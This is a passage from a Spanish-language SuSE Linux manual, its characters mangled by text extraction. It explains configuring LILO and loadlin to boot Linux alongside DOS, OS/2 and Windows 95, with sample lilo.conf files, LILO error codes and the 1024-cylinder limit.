  8702.       manos del usuario. Se configura el gestor de arranque (ingl. bootmanager)
  8703.       con el fdisk  de OS/2.
  8704.       Preparaci≤n de Linux: Configurar el arranque a una partici≤n primaria de
  8705.       Linux  (normalmente  la  partici≤n  raφz)  con  LILO .  La  configuraci≤n  ·til
  8706.       para esto es otra vez lilo.conf como en el fichero 4.7.1 en la pßgina
  8707.       anterior. Pero antes hay que considerar algo mßs. . . :
  8708.       Preparaci≤n  de  OS/2:    OS/2  no  se  queda  con  la  manera  convencional
  8709.       de  anotar  informaci≤n  sobre  las  particiones  (en  los  MBR  de  los  discos
  8710.       duros y en los sectores de partici≤n) sino que usa el espacio libre en estos
  8711.       sectores para guardar informaci≤n adicional.  Si Θsta es inconsistente, el
  8712.       fdisk  de  OS/2  ve  la  tabla  de  particiones  como  da±ada  y  no  presta  los
  8713.       servicios del gestor de arranque.  Los programas fdisk  de otros sistemas
  8714.       operativos no suelen guardar informaci≤n adicional, asφ que la aparici≤n
  8715.       de conflictos adicionales estß programada.
  8716.       Por eso antes de instalar Linux se carga OS/2 (el sistema base de insta-
  8717.       laci≤n  es  suficiente)  y  se  generan  las  particiones  Linux,  como  mφnimo
  8718.       las l≤gicas, con el fdisk  de OS/2.  Esto crea en principio particiones adi-
  8719.       cionales de tipo OS/2 que pueden resultar bastante molestas.
  8720.       Soluci≤n:  Cargar  inmediatamente  despuΘs  el  sistema  de  instalaci≤n  de
  8721.       Linux (o tambiΘn el sistema de rescate) desde el CD SuSE     Linux y cam-
  8722.       biar con el fdisk  de Linux el tipo de partici≤n a 83 (Linux native).  Asφ
  8723.       OS/2 pasarß a ignorar correctamente estas particiones.
  8724.  
  8725.  
  8726.                                                                                                                                    *
  8727.  *   137
  8728. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  8729.  *_______________________________________@
  8730.  
  8731.  
  8732.  
  8733.                             2.   Posibilidad:   Se  usa  LILO   como  gestor  de  arranque  principal  en  una
  8734.                                  partici≤n primaria del primer disco duro15 .  Se trata de un caso especial
  8735.                                  del ejemplo siguiente en el cual aparece tambiΘn DOS.
  8736.  
  8737.  
  8738.                            4.7.4      DOS, OS/2 y Linux
  8739.  
  8740.                             1.   Posibilidad: Si ya estß usando el OS/2 Bootmanager (gestor de arranque
  8741.                                  OS/2) para DOS y OS/2 y lo quiere seguir usando, basta con incorporar
  8742.                                  Linux  en  el  men·  de  arranque  tal  como  se  ha  explicado  en  el  ejemplo
  8743.                                  anterior.
  8744.  
  8745.                             2.   Posibilidad:   Se  usa  LILO   como  gestor  de  arranque  principal  en  una
  8746.                                  partici≤n primaria del primer disco duro.
  8747.  
  8748.                                  El  siguiente  ejemplo  para  lilo.conf  (fichero  4.7.2  en  la  pßgina  sigu-
  8749.                                  iente)  es  mßs  complicado  y  supone  que  las  particiones  de  arranque  de
  8750.                                  DOS (primaria) y de Linux (primaria) se encuentran en el primer disco
  8751.                                  y la de OS/2 (l≤gica) en el segundo ~ todas dentro de los primeros 1024
  8752.                                  cilindros.   OS/2  se  encuentra  en  el  segundo  disco  por  lo  que  se  usa  el
  8753.                                  loader especial /boot/os2_d.b en lugar de /boot/chain.b.
  8754.  
  8755.                                  No importa si el c≤digo del MBR es de MS-DOS o de OS/2.  En la tabla
  8756.                                  de particiones hay que activar con el programa fdisk la partici≤n de LILO
  8757.                                  /dev/sda4.
  8758.  
  8759.  
  8760.                            4.8       Problemas con LILO
  8761.  
  8762.  
  8763.                            Algunas reglas
  8764.  
  8765.                            Para  comenzar,  algunas  reglas  con  las  que  se  evitan  desde  un  principio
  8766.                            muchos  problemas  con  LILO  (tomadas  del  libro  para  usuarios  de  LILO
  8767.                            [Alm96     ]):
  8768.  
  8769.                              o   íQue no cunda el pßnico! Antes de intentar arreglar el fallo se debe tratar
  8770.                                  de definirlo bien, encontrar su causa y despuΘs comprobar la diagnosis.
  8771.  
  8772.                              o   Mantener siempre al alcance un disquete de arranque actual y comproba-
  8773.                                  do.
  8774.  
  8775.                                  Desde  la  versi≤n  5.0,  SuSE     Linux  contiene  en  el  disquete  de  arranque
  8776.                                  y  en  el  CD  de  instalaci≤n  un  sistema  Linux  aut≤nomo  (sistema  de
  8777.                                  rescate,  apartado  16.5  en  la  pßgina  425El  sistema  de  rescate  de  SuSE
  8778.                                  section.16.5),  con  el  cual  se  puede  acceder  a  todas  las  particiones  de
  8779.                                  Linux.  TambiΘn hay allφ bastantes herramientas para resolver problemas
  8780.                                  de pΘrdida de acceso a los discos
  8781.  
  8782.                              o   Consultar la documentaci≤n, especialmente cuando la computadora hace
  8783.                                  algo que aparentemente no deberφa hacer.
  8784.  
  8785.                              o   Antes de cualquier llamada al instalador map (/sbin/lilo), comprobar
  8786.                                  cuidadosamente el fichero de configuraci≤n /etc/lilo.conf.
  8787.  
  8788.                              o   Ejecutar  /sbin/lilo  cada  vez  que  se  cambie  alg·n  componente  de  la
  8789.                                  maquinaria de arranque de LILO  o cuando se haya modificado el fichero
  8790.                            ______de_configuraci≤n_de_LILO_/etc/lilo.conf._
  8791.                           15  Peor serφa usar el MBR, porque en cada cambio de partici≤n con un fdisk ajeno Θste graba el
  8792.                            MBR de nuevo y asφ podrφa borrar LILO .
  8793.  
  8794.  
  8795. 138
  8796.        ___________________________________________________________________________________________4.8.__Problemas_con_LILO_________*
  8797.  *______________________||||
  8798.        ||||||||                                                                                                                |
  8799.        _______________________________________________________________________________________________________________________||
  8800.        |||||||| #  LILO  fichero  de  configuraci≤n                                                                            |
  8801.        ||||||||                                                                                                                |
  8802.        |||||||| #  Start  LILO  global  Section                                                                                |
  8803.        |||||||| boot    =  /dev/sda4              #  LILO  en  partici≤n  raφz  de  Linux                                      |
  8804.        |||||||| backup  =  /boot/boot.sda4.970428                                                                              |
  8805.        ||||||||                                                                                                                |
  8806.        |||||||| message  =  /boot/message    #  Mensaje  de  saludo                                                            |
  8807.        |||||||| prompt                                                                                                         |
  8808.        ||||||||                                                                                                                |
  8809.        |||||||| delay  =  100                                                                                                  |
  8810.        |||||||| vga     =  normal                                                                                              |
  8811.        ||||||||                                                                                                                |
  8812.        |||||||| #                                                                                                              |
  8813.        |||||||| #  Linux  bootable  partition  config  begins                                                                  |
  8814.        ||||||||                                                                                                                |
  8815.        |||||||| image  =  /boot/vmlinuz                                                                                        |
  8816.        ||||||||        label  =  linux                                                                                         |
  8817.        ||||||||                                                                                                                |
  8818.        ||||||||        root    =  /dev/sda4                                                                                    |
  8819.        |||||||| #  Linux  bootable  partition  config  ends                                                                    |
  8820.        |||||||| #                                                                                                              |
  8821.        ||||||||                                                                                                                |
  8822.        |||||||| #  OS/2  bootable  partition  config  begins                                                                   |
  8823.        |||||||| other  =  /dev/sdb5                                                                                            |
  8824.        ||||||||                                                                                                                |
  8825.        ||||||||        table  =  /dev/sdb                                                                                      |
  8826.        ||||||||        label  =  os2                                                                                           |
  8827.        ||||||||                                                                                                                |
  8828.        ||||||||        loader  =  /boot/os2_d.b                                                                                |
  8829.        |||||||| #  New  for  LILO  v20  and  newer:  interchange  disk  drives:                                                |
  8830.        ||||||||                                                                                                                |
  8831.        ||||||||          map-drive  =  0x80       #    first  hd:  BIOS  number  0x80                                          |
  8832.        ||||||||          to              =  0x81       #  second  hd:  BIOS  number  0x81                                      |
  8833.        ||||||||                                                                                                                |
  8834.        ||||||||          map-drive  =  0x81                                                                                    |
  8835.        ||||||||          to              =  0x80                                                                               |
  8836.        |||||||| #  OS/2  bootable  partition  config  ends                                                                     |
  8837.        ||||||||                                                                                                                |
  8838.        |||||||| #                                                                                                              |
  8839.        |||||||| #  DOS  bootable  partition  config  begins                                                                    |
  8840.        ||||||||                                                                                                                |
  8841.        |||||||| other  =  /dev/sda1                                                                                            |
  8842.        ||||||||        table  =  /dev/sda                                                                                      |
  8843.        ||||||||                                                                                                                |
  8844.        ||||||||        label  =  dos                                                                                           |
  8845.        |||||||| #  DOS  bootable  partition  config  ends                                                                      |
  8846.        ||||||||_______________________________________________________________________________________________________________ |
  8847.  
  8848.          Fichero 4.7.2: LILO  con DOS, OS/2 y Linux en dos discos duros
  8849.   o   Hace falta un cuidado especial teniendo varios discos o uno grande: con-
  8850.       sidere el lφmite de 1024 cilindros!
  8851.  
  8852.   o   Hacer pruebas con y sin la opci≤n linear      (generalmente va mejor "sin").
  8853.  
  8854.  
  8855.  
  8856. 4.8.1      Diagn≤stico de errores: Mensajes de inicio de LILO
  8857.  
  8858.  
  8859. Lo  que  aquφ  se  refleja  es  bßsicamente  la  traducci≤n  de  un  apartado  de
  8860. [Alm96     ], la descripci≤n de LILO  escrita por Werner Almesberger.
  8861.  
  8862. Cuando LILO  se carga, muestra en pantalla la palabra `LILO'. La aparici≤n
  8863. de  cada  letra  indica  la  terminaci≤n  de  una  determinada  fase,  por  lo  tanto,
  8864. las letras que ya han salido en pantalla indican en quΘ momento apareci≤ el
  8865. problema.
  8866.  
  8867.  
  8868. (nada)      No se carg≤ ninguna parte de LILO . Puede que LILO  no estΘ instal-
  8869.       ado o no se haya iniciado la partici≤n con el sector de arranque de LILO .
  8870.  
  8871.  
  8872.                                                                                                                                    *
  8873.  *   139
  8874. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  8875.  *_______________________________________@
  8876.  
  8877.  
  8878.  
  8879.                            `L' error : : :      Se carg≤ e inici≤ la ''primera fase'' pero no fue capaz de cargar
  8880.                                  la segunda (/boot/boot.b). Esto generalmente indica un error fφsico del
  8881.                                  medio de arranque (p. ej.  disquete) o una geometrφa de disco err≤nea.
  8882.  
  8883.                            `LI'      Se  carg≤  la  segunda  fase  de  LILO   pero  no  pudo  ser  arrancada.
  8884.                                  Esto  ocurre  por  una  geometrφa  falsa  de  disco  o  por  haber  movido
  8885.                                  /boot/boot.b           sin reinstalaci≤n de LILO .
  8886.  
  8887.                            `LIL'       Arranc≤ la segunda fase de LILO , pero Θsta no pudo cargar los datos
  8888.                                  necesarios (punteros, etc.) del fichero map. Se trata de un error provocado
  8889.                                  tφpicamente por un fallo fφsico del medio de arranque.
  8890.  
  8891.                            `LIL?'       La segunda fase de LILO se carg≤ en un ßrea de memoria falsa. Esto
  8892.                                  lo provoca generalmente un peque±o fallo de la geometrφa del disco o por
  8893.                                  haber movido /boot/boot.b sin reinstalaci≤n de LILO .
  8894.  
  8895.                            `LIL-'       Los valores en el fichero map no son vßlidos.  El error es general-
  8896.                                  mente provocado por un fallo en la geometrφa del disco o por haber movi-
  8897.                                  do /boot/boot.b sin reinstalaci≤n de LILO .
  8898.  
  8899.                            `LILO'       Todas las partes de LILO  fueron cargadas con Θxito.
  8900.  
  8901.                            El motivo mßs frecuente de los fallos de geometrφa no son defectos fφsicos o
  8902.                            tablas de partici≤n no vßlidas, sino fallos durante la instalaci≤n de LILO :
  8903.  
  8904.                              o   Negligencia respecto al lφmite de 1024 cilindros (ver pr≤ximo pßrrafo);
  8905.  
  8906.                              o   Intento fallido de arrancar con LILO  desde una partici≤n l≤gica.
  8907.  
  8908.  
  8909.                            4.8.2      El lφmite de 1024 cilindros
  8910.  
  8911.                            Como  ya  se  ha  mencionado  varias  veces  (p. ej.   en  la  pßgina  123┐D≤nde
  8912.                            se  puede  instalar  LILO ?Hfootnote.17),  toda  la  maquinaria  de  arranque  de
  8913.                            LILO , o sea todos los datos que LILO necesita para arrancar, deben ser acce-
  8914.                            sibles usando solo las rutinas de la BIOS. Las zonas de disco aptas para ello
  8915.                            ya fueron mencionadas y se denominarßn de aquφ en adelante zona permitida.
  8916.  
  8917.                            ┐Cußles son entonces las posibilidades que quedan con esta restricci≤n?  En
  8918.                            realidad quedan muchas,  ya que se trata solo de la maquinaria de arranque
  8919.                            que cae bajo esta restricci≤n y no hay ninguna obligaci≤n de ponerla en la
  8920.                            partici≤n raφz.  Incluso existe la posibilidad (que conlleva un cierto peligro)
  8921.                            de albergar todos los ficheros del manejo de arranque en particiones de otros
  8922.                            sistemas  operativos  cuando  solo  Linux  tiene  acceso  de  lectura  y  escritura
  8923.                            sobre ellos.
  8924.                            ________________________________________________________________________________________________________*
  8925.  *________||
  8926.                            |  íLo que no se puede hacer es instalar el sector de arranque de LILO  sobre                           *
  8927.  *        ||||
  8928.                            |  una partici≤n ajena, porque con esto generalmente se rompe el sistema de                             *
  8929.  *        |||
  8930.                            |                                                                                                       *
  8931.  *        |||
  8932.                            |  fichero del otro sistema operativo!                                                                  *
  8933.  *        |||
  8934.                            |_______________________________________________________________________________________________________*
  8935.  *________|||_
  8936.  
  8937.                              o   En todo caso la soluci≤n mßs limpia es la de generar una partici≤n pri-
  8938.                                  maria de Linux completamente dentro de la zona permitida e instalar allφ
  8939.                                  todos los ficheros de LILO  (incluido el sector de arranque).  Hasta ahora
  8940.                                  esta partici≤n ha sido generalmente la partici≤n raφz de Linux.
  8941.  
  8942.                                  Desde la versi≤n 6.0 de SuSE     Linux, YaST  genera una partici≤n (/boot)
  8943.                                  aparte,  que  a  penas  tiene  suficiente  tama±o  para  albergar  los  siguientes
  8944.                                  ficheros:
  8945.  
  8946.  
  8947. 140
  8948.        ___________________________________________________________________________________________4.8.__Problemas_con_LILO_________*
  8949.  *______________________
  8950.  
  8951.  
  8952.  
  8953.       ~   boot.b, map, message,
  8954.       ~   los kernel de Linux, que LILO  debe arrancar.
  8955.  
  8956.       Esto  significa  que  unos  pocos  megabytes  son  suficientes.   Para  todo  el
  8957.       resto del sistema ya no hay ninguna restricci≤n respecto a su ubicaci≤n
  8958.       en el (los) disco(s).  Una vez que el kernel estΘ en marcha tiene acceso
  8959.       ilimitado a todos los discos en el sistema.
  8960.  
  8961. ┐Pero quΘ hacer cuando ya no hay espacio para una partici≤n asφ?  Si no se
  8962. quiere reparticionar el disco, ni se quiere pasar a SCSI y tampoco a una BIOS
  8963. moderna, siguen existiendo dos posibilidades ''provisionales'':
  8964.  
  8965.   o   En lugar de instalar LILO en el disco duro se usa en un disquete o, si tiene
  8966.       tambiΘn MS-DOS instalado, puede usar loadlin para arrancar Linux.
  8967.  
  8968.   o   Albergar toda la maquinaria de arranque de LILO  en una partici≤n no~
  8969.       Linux,  que  se  encuentra  completamente  en  la  zona  permitida  y  sobre
  8970.       la cual Linux puede escribir (p. ej.  una partici≤n con FAT/VFAT DOS).
  8971.       Evidentemente  no  se  puede  poner  allφ  el  sector  de  arranque  de  LILO .
  8972.       Esto  deja  como  posibilidades  el  comienzo  de  una  partici≤n  extendida
  8973.       en  el  primer  disco  ~  si  estß  por  delante  del  cilindro  1024  ~  o  el  MBR.
  8974.       Supongamos que la partici≤n en cuesti≤n estß montada bajo /mnt. LILO
  8975.       debe ponerse en el MBR (p. ej.  /dev/hda) y ademßs arrancar DOS desde
  8976.       /dev/hda1. En este caso hay que proceder de la siguiente manera:
  8977.  
  8978.       ~   Generar un directorio nuevo, p. ej.  /mnt/LINUX y copiar los ficheros
  8979.           mencionados   de   LILO   desde   /boot   hacia   allφ:    boot.b,   map,
  8980.           message,  tal  como  los  chain-loader  para  los  otros  sistemas  opera-
  8981.           tivos  que  estΘn  instalados  (generalmente  chain.b)  y  los  kernel  de
  8982.           Linux, que LILO  debe arrancar.
  8983.  
  8984.       ~   Generar un fichero /mnt/LINUX/lilo.cfg, en el que todos los path
  8985.           apuntan a /mnt/LINUX (fichero 4.8.1 en la pßgina siguiente):
  8986.  
  8987.       ~   Instalar LILO  con este lilo.cfg:
  8988.  
  8989.           tierra:    #  /sbin/lilo  -C  /mnt/LINUX/lilo.cfg
  8990.  
  8991.           DespuΘs  de  este  procedimiento  LILO  deberφa  funcionar.   Arranque
  8992.           MS-DOS y proteja los ficheros de LILO lo mejor que pueda contra ac-
  8993.           cesos de escritura. (íOjo! Cualquier acceso de escritura y LILO dejarß
  8994.           de funcionar.)  Como mφnimo se activan los atributos de DOS sistema
  8995.           y escondido (system and hidden) de todos los ficheros en X:\LINUX.
  8996.           X: indica aquφ la unidad MS-DOS que se mont≤ bajo /mnt.
  8997.  
  8998. Para  terminar  queremos  indicar  dos  HOWTOs  al  respecto:   LILO.gz  y
  8999. Large-Disk.gz y se encuentran en /usr/doc/howto/en/mini/.
  9000.  
  9001.  
  9002. 4.8.3      Problemas especiales de arranque con el kernel a partir de 2.0
  9003.  
  9004. Arrancando LILO  ~ igual si es desde una disquetera o desde el disco duro ~
  9005. pueden aparecer problemas despuΘs de haber cargado un kernel grande (p. ej.
  9006. el kernel de instalaci≤n de SuSE    ) :-(
  9007.  
  9008. Aunque se puede elegir un kernel en el prompt de LILO  y el kernel se carga
  9009. (se muestran algunos puntitos), el inicio del kernel no funciona.  Esto quiere
  9010.  
  9011.  
  9012.                                                                                                                                    *
  9013.  *   141
  9014. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  9015.  *_______________________________________@
  9016.                            |                                                                                                       *
  9017.  *         |
  9018.                            ________________________________________________________________________________________________________*
  9019.  *________||||
  9020.                            | #  LILO  Fichero  de  configuraci≤n  en  directorio  ajeno                                            *
  9021.  *         |
  9022.                            ||#  Start  LILO  global  Section                                                                       *
  9023.  *         ||
  9024.                            | boot=/dev/hda                        #  destino  instalaci≤n                                          *
  9025.  *         |
  9026.                            | backup=/mnt/LINUX/hda.xxxx  #  respaldo  MBR  antiguo                                                 *
  9027.  *         |
  9028.                            | install=/mnt/LINUX/boot.b    #  LILO  y  el  fichero  map                                             *
  9029.  *         |
  9030.                            |                                                                                                       *
  9031.  *         |
  9032.                            | map=/mnt/LINUX/map                #  estßn  en  /mnt/LINUX!                                           *
  9033.  *         |
  9034.                            | message=/mnt/LINUX/message  #  opcional                                                               *
  9035.  *         |
  9036.                            |                                                                                                       *
  9037.  *         |
  9038.                            | prompt                                                                                                *
  9039.  *         |
  9040.                            | timeout=100         #  Espera  en  el  prompt:  10  s                                                 *
  9041.  *         |
  9042.                            | vga  =  normal       #                                                                                *
  9043.  *         |
  9044.                            |                                                                                                       *
  9045.  *         |
  9046.                            | #  End  LILO  global  section                                                                         *
  9047.  *         |
  9048.                            | #                                                                                                     *
  9049.  *         |
  9050.                            |                                                                                                       *
  9051.  *         |
  9052.                            | #  Linux  bootable  partition  config  begins                                                         *
  9053.  *         |
  9054.                            | image  =  /mnt/LINUX/Primer_Kernel         #  default                                                 *
  9055.  *         |
  9056.                            |                                                                                                       *
  9057.  *         |
  9058.                            |        root  =  /dev/Su_Dispositivo_Raφz    #  Partici≤n  root  de  aquφ!                             *
  9059.  *         |
  9060.                            |        label  =  linux                                                                                *
  9061.  *         |
  9062.                            |                                                                                                       *
  9063.  *         |
  9064.                            | #  Linux  bootable  partition  config  ends                                                           *
  9065.  *         |
  9066.                            | #                                                                                                     *
  9067.  *         |
  9068.                            |                                                                                                       *
  9069.  *         |
  9070.                            | #  Aquφ  pßrrafos  de  sistema  para  los  kernel  adicionales:                                       *
  9071.  *         |
  9072.                            | #                                                                                                     *
  9073.  *         |
  9074.                            | #  Fin  Linux                                                                                         *
  9075.  *         |
  9076.                            |                                                                                                       *
  9077.  *         |
  9078.                            | #  DOS  bootable  partition  config  begins                                                           *
  9079.  *         |
  9080.                            | other  =  /dev/hda1           #  Unidad  de  sistema  de  MSDOS                                       *
  9081.  *         |
  9082.                            |                                                                                                       *
  9083.  *         |
  9084.                            |        label  =  dos                                                                                  *
  9085.  *         |
  9086.                            |        loader  =  /mnt/LINUX/chain.b                                                                  *
  9087.  *         |
  9088.                            |                                                                                                       *
  9089.  *         |
  9090.                            |        table  =  /dev/hda                                                                             *
  9091.  *         |
  9092.                            | #  DOS  bootable  partition  config  ends                                                             *
  9093.  *         |
  9094.                            |_______________________________________________________________________________________________________*
  9095.  *________ |
  9096.  
  9097.                                                   Fichero 4.8.1: lilo.cfg         para partici≤n ajena
  9098.  
  9099.  
  9100.  
  9101.                            decir que el sistema se cuelga con diferentes reacciones antes de que aparezca
  9102.                            el mensaje "uncompressing  Linux".
  9103.  
  9104.                            Posibles reacciones o mensajes:
  9105.  
  9106.                              o   La computadora se inicia de nuevo.
  9107.  
  9108.                              o   La computadora simplemente se para.
  9109.  
  9110.                              o   "crc-error"
  9111.  
  9112.                              o   "no  free  space"
  9113.  
  9114.                              o   "Error  0x00"
  9115.  
  9116.                              o   "Error  0x01"
  9117.  
  9118.                              o   "incomplete  literal  tree"
  9119.  
  9120.                            DespuΘs de esto, en ocasiones aparece otro acceso a las disqueteras, pero la
  9121.                            computadora queda ''colgada''.
  9122.  
  9123.                            El motivo de ello es la combinaci≤n de un kernel grande, LILO  y hardware
  9124.                            defectuoso.  Haciendo una aproximaci≤n, alrededor del uno por ciento de las
  9125.                            computadoras reaccionan asφ.  Sospechamos que por culpa de un error en la
  9126.                            BIOS hay problemas con un acceso rßpido a la memoria.  ~ El problema no
  9127.                            ocurre cuando:
  9128.  
  9129.                              o   Linux ha sido arrancado con Loadlin (apartado 4.9 en la pßgina siguiente),
  9130.  
  9131.  
  9132. 142
  9133.        ________________________________________4.9.__Configuraci≤n_del_mecanismo_de_arranque_con_loadlin___________________________*
  9134.  *______________________
  9135.  
  9136.  
  9137.  
  9138.   o   se copia un kernel p. ej.  con
  9139.             tierra:  #  dd  if=/boot/vmlinuz  of=/dev/fd0
  9140.  
  9141.       a un disquete arrancßndolo directamente desde allφ,
  9142.   o   se arranca con LILO  un kernel peque±o, que fue generado con
  9143.             tierra:  #  make  zImage
  9144.  
  9145.  
  9146. Con los siguientes ajustes de la BIOS tampoco hay problemas de arrancar:
  9147.  
  9148.   o   Deshabilitar la cache interna (disable       )
  9149.   o   DRAM  Precharge  Wait  State                     a 1  y
  9150.   o   DRAM  Wait  Burst  Timing                  a 0x3333
  9151.  
  9152.  
  9153. Soluci≤n
  9154.  
  9155. En primer lugar es necesario poder instalar Linux de alguna forma.  Si no se
  9156. puede arrancar directamente con loadlin  (o con setup.exe ) lo mejor es usar
  9157. un disquete de arranque antiguo con versi≤n 1.2.13. Si no se dispone de Θl, se
  9158. han de cambiar los parßmetros de la BIOS.
  9159.  
  9160. DespuΘs de una instalaci≤n exitosa aparece la pregunta sobre c≤mo arrancar
  9161. su Linux. Primero arranque con el mismo medio de la instalaci≤n, ya que no
  9162. hay problemas con loadlin desde la partici≤n DOS. En caso de un disquete de
  9163. arranque, indique como parßmetros:
  9164.       load_ramdisk=0  root=/dev/<partici≤n_raφz>
  9165.  
  9166. donde <partici≤n`raφz> es su partici≤n raφz, p. ej.  hda1.
  9167.  
  9168.  
  9169. 4.9       Configuraci≤n del mecanismo de arranque con loadlin
  9170.  
  9171. Aquφ  se  presenta  un  mΘtodo  adicional  de  arrancar  SuSE     Linux,  usando  el
  9172. loadlin .  Se trata de un programa DOS capaz de arrancar el kernel de Linux
  9173. que se encuentra en una particion DOS. loadlin  se integra plenamente en un
  9174. entorno DOS/Windows 9x y se puede arrancar de manera confortable con el
  9175. gestor de arranque de Windows. Como no se graba nada en el +  MBR lo ·nico
  9176. que  Windows  ve  de  Linux  es  una  o  varias  particiones  con  identificadores
  9177. desconocidos (ingl. IDs).  Asφ se minimiza el peligro de efectos colaterales
  9178. por la existencia de Linux en la computadora.
  9179.  
  9180. El  procedimiento  que  aquφ  se  explica,  funciona  bajo  Windows  95  y  Win-
  9181. dows 98 y los ficheros de configuraci≤n que se muestran fueron desarrolla-
  9182. dos bajo Windows 95, por lo que a partir de ahora solo se menciona a Win-
  9183. dows 95.
  9184.  
  9185. Usando loadlin hacen falta algunos preparativos y seg·n las condiciones hay
  9186. que modificar tambiΘn algunos ficheros de arranque.
  9187.  
  9188. En  principio  hay  dos  maneras  distintas  de  activar  loadlin :   Elegirlo  en  el
  9189. momento de arrancar a travΘs del men· de arranque de Windows o iniciarlo
  9190. desde DOS/Windows y de este modo cambiar a Linux.
  9191.  
  9192. Ambos mΘtodos tienen sus ventajas y desventajas:
  9193.  
  9194.   o   El men· de arranque evita el desvφo por otro sistema operativo para arran-
  9195.       car Linux.
  9196.  
  9197.  
  9198.                                                                                                                                    *
  9199.  *   143
  9200. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  9201.  *_______________________________________@
  9202.  
  9203.  
  9204.  
  9205.                              o   Es posible incorporar en un men· de arranque configuraciones adicionales
  9206.                                  y asφ construir un mecanismo de arranque universal.
  9207.                              o   Es necesario modificar los ficheros de arranque para construir un men·
  9208.                                  de arranque y tal vez haga falta probar un poco. Los ficheros de ayuda de
  9209.                                  DOS probablemente pueden ayudar; pruebe con el comando help  menu       .
  9210.  
  9211.                              o   En el prompt de DOS el cambio hacia a Linux es muy simple.
  9212.  
  9213.                              o   Bajo  Windows  95  se  puede  hacer  la  bonita  integraci≤n  del  arranque  de
  9214.                                  Linux en el entorno grßfico lo que permite cambiar a Linux con un doble-
  9215.                                  click del mouse sobre un icono.  No obstante, se puede montar tambiΘn
  9216.                                  bajo Windows 95 un men· de arranque ya que Θste contiene DOS 7.0.
  9217.                            ________________________________________________________________________________________________________*
  9218.  *________||
  9219.                            |  Si se quiere arrancar Linux directamente despuΘs de encender la computa-                             *
  9220.  *        ||||
  9221.                            |                                                                                                       *
  9222.  *        |||
  9223.                            |  dora, lo mejor es usar un men· de arranque.  El mΘtodo de arrancar desde                             *
  9224.  *        |||
  9225.                            |  el prompt de DOS o con el doble-click del mouse se puede usar adicional-                             *
  9226.  *        |||
  9227.                            |                                                                                                       *
  9228.  *        |||
  9229.                            |  mente para cambiar de DOS/Windows directamente a Linux.                                              *
  9230.  *        |||
  9231.                            |  Los men·s de arranque y la configuraci≤n de Windows 95 tienen muchas                                 *
  9232.  *        |||
  9233.                            |                                                                                                       *
  9234.  *        |||
  9235.                            |  facetas, asφ que no entraremos en muchos detalles al respecto.                                       *
  9236.  *        |||
  9237.                            |_______________________________________________________________________________________________________*
  9238.  *________|||_
  9239.  
  9240.  
  9241.                            4.9.1      Ficheros necesarios para loadlin
  9242.  
  9243.                            Lo siguiente hay que hacerlo siempre independientemente de la manera de
  9244.                            arrancar con loadlin (vßlido para DOS, Windows 3.x y Windows 95):
  9245.  
  9246.  
  9247.                             1.   Lo mßs probable es que ya estΘ loadlin  instalado (ver apartado 2.5.4 en
  9248.                                  la pßgina 54Instalar loadlin y arrancar Linux originariosubsection.2.5.4).
  9249.                                  Sino, hace falta instalarlo primero desde el CD 1 con setup     .
  9250.  
  9251.                             2.   Bajo MS-DOS se cambia al directorio c:\loadlin         .  Allφ hay un fichero
  9252.                                  llamado linux.par        . En este mismo directorio se genera un fichero, p. ej.
  9253.                                  startlin.bat           o con el nombre que parezca oportuno. Este fichero debe
  9254.                                  contener una lφnea como la del fichero 4.9.1.
  9255.  
  9256.                            ________________________________________________________________________________________________________*
  9257.  *________
  9258.                            | c:\loadlin\loadlin  @c:\loadlin\linux.par                                                             *
  9259.  *         |
  9260.                            |_______________________________________________________________________________________________________*
  9261.  *________ |
  9262.  
  9263.                                    Fichero 4.9.1: Ejemplo de un fichero por lotes para arrancar Linux
  9264.  
  9265.  
  9266.                                  Ahora se escriben en el fichero linux.par las siguientes lφneas como se
  9267.                                  indica en el fichero 4.9.2.
  9268.  
  9269.                            ________________________________________________________________________________________________________*
  9270.  *________||
  9271.                            | c:\loadlin\zimage     #  first  value  must  be                                                       *
  9272.  *         |
  9273.                            |                                   #  the  filename  of  the  Linux-kernel                             *
  9274.  *         |
  9275.                            |                                                                                                       *
  9276.  *         |
  9277.                            |                                                                                                       *
  9278.  *         |
  9279.                            | initrd=c:\loadlin\initrd                                                                              *
  9280.  *         |
  9281.                            |                                                                                                       *
  9282.  *         |
  9283.                            |                                                                                                       *
  9284.  *         |
  9285.                            | root=/dev/xxx            #  the  device  which  gets  mounted  as  root  FS                           *
  9286.  *         |
  9287.                            |                                                                                                       *
  9288.  *         |
  9289.                            |                                                                                                       *
  9290.  *         |
  9291.                            | ro                               #  mount  root  read-only                                            *
  9292.  *         |
  9293.                            |_______________________________________________________________________________________________________*
  9294.  *________ |
  9295.  
  9296.                            Fichero 4.9.2: Ejemplo de un fichero de parßmetros para el arranque de Linux
  9297.  
  9298.  
  9299. 144
  9300.        ________________________________________4.9.__Configuraci≤n_del_mecanismo_de_arranque_con_loadlin___________________________*
  9301.  *______________________
  9302.  
  9303.  
  9304.  
  9305.       xxx    es el nombre de dispositivo de su partici≤n raφz (debe haberse apun-
  9306.       tado este nombre seg·n el apartado 2.10.2 en la pßgina 79Fijar sistemas
  9307.       de fichero y ''Mountpoints''subsection.2.10.2. La entrada con initrd      so-
  9308.       lo se necesita cuando hace falta cargar el soporte SCSI directamente en
  9309.       el momento de arrancar (sobre el concepto del ''initial ramdisk'' vΘase el
  9310.       apartado 16.2 en la pßgina 411Situaci≤n de arranquesection.16.2).  Con
  9311.       el  fichero  startlin.bat  se  puede  arrancar  Linux  en  cualquier  mo-
  9312.       mento  desde  DOS.  Los  ficheros  startlin.bat  y  config.sys  usan
  9313.       linux.par, el cual contiene todos los parßmetros necesarios para arran-
  9314.       car  Linux.   Es  posible  introducir  o  reemplazar  parßmetros  de  arranque
  9315.       en linux.par una vez acostumbrados a trabajar con Linux.  Cuando se
  9316.       haya construido un kernel propio, se copia del sistema de ficheros Linux
  9317.       a c:\loadlin\zimage                 y a partir de entonces se trabaja con este nuevo
  9318.       kernel; en caso que haga falta, tambiΘn debe guardar allφ un disco initrd
  9319.       generado nuevamente.
  9320.  
  9321.  
  9322. 4.9.2      Personalizar men·s de arranque
  9323.  
  9324. Para personalizar un men· de arranque bajo DOS o Windows 3.x se hace lo
  9325. siguiente:
  9326.  
  9327.  1.   Primero  hay  que  definir  en  el  fichero  c:\config.sys              un  men·  de
  9328.       arranque.    Para  ello  se  introduce  algo  parecido  a  lo  indicado  en  el
  9329.       fichero 4.9.3.
  9330.        _______________________________________________________________________________________________________________________||
  9331.        |||||||| [Menu]                                                                                                         |
